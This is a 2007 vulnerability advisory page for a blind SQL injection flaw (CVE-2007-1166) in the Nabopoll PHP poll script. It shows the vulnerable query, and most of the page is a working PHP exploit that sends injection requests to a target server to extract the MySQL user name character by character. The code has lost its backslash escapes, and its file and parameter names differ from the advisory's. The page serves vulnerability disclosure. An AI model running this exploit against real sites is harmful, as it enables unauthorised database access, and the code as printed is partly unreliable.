|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | Nabopoll Blind SQL Injection vulnerabilies
|
SecurityAlert : 2372
CVE : CVE-2007-1166
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : No
Exploit Available : Yes
Credit : s0cratex
Published : 09.03.2007
Affected Software : | Nabopoll |
 Advisory Content : Nabopoll have a bug in some files, for example results.php
Line 27...31
--------------------------------
$res_question = mysql_query("select * from nabopoll_questions where
survey=$survey order by id");
if ($res_question == FALSE || mysql_numrows($res_question) == 0)
error($row_survey, "questions not found");
--------------------------------
Exploit
--------------------------------
<?
# Nabopoll Blind SQL Injection P0C Exploit
# Download: www.nabocorp.com/nabopoll/
# coded by s0cratex
# Contact: s0cratex (at) hotmail (dot) com [email concealed]
error_reporting(0);
ini_set("max_execution_time",0);
// just change the default values...
$srv = "localhost"; $path = "/poll"; $port = 80;
$survey = "8"; //you can verify the number entering in the site and viewing
the results...
echo "==================================================n";
echo "Nabopoll SQL Injection -- Proof of Concept Exploitn";
echo "--------------------------------------------------nn";
echo " -- MySQL User: ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl =
"/result.php?surv=".$survey."/**/AND/**/1=(SELECT/**/(IF((ASCII(SUBSTRIN
G(user(),".$j.",1))=".$x."),1,0)))/*";
$cnx = fsockopen($srv,$port);
fwrite($cnx,"GET ".$path.$xpl." HTTP/1.0rnrn");
while(!feof($cnx)){ if(ereg("power",fgets($cnx))){ $user.=chr($x);echo
chr($x); break; } }
fclose($cnx);
if ($x==255) {
die("n Try again...");
}
}
$j++;
}
echo "n";
?>
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|